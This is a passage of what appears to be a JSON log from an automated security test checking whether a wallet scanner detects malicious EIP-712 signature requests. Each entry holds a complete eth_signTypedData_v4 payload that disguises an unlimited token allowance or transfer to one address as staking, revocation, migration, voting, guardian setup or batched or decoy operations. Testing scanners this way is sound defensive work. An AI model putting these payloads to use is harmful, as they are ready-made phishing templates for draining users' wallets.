Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:20:52.734Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:21:02.278Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN44-EIP3009-022", "timestamp": "2026-01-31T18:21:11.839Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x916d1572536e55e338492b9e93e1f0670dbf14e58247fee4fa6e72a6e3144c69\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN44-EIP3009-054", "timestamp": "2026-01-31T18:21:21.382Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x71f8fed3e9d75ff62f49b11f53467c80248aa9b6713a2e93935632253522de5a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:21:30.939Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:21:40.480Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:21:50.025Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:21:59.566Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:22:09.112Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:22:18.648Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:22:28.204Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:22:37.754Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:22:47.314Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:22:56.874Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:23:06.429Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:23:15.984Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:23:25.539Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:23:35.094Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:23:44.648Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending 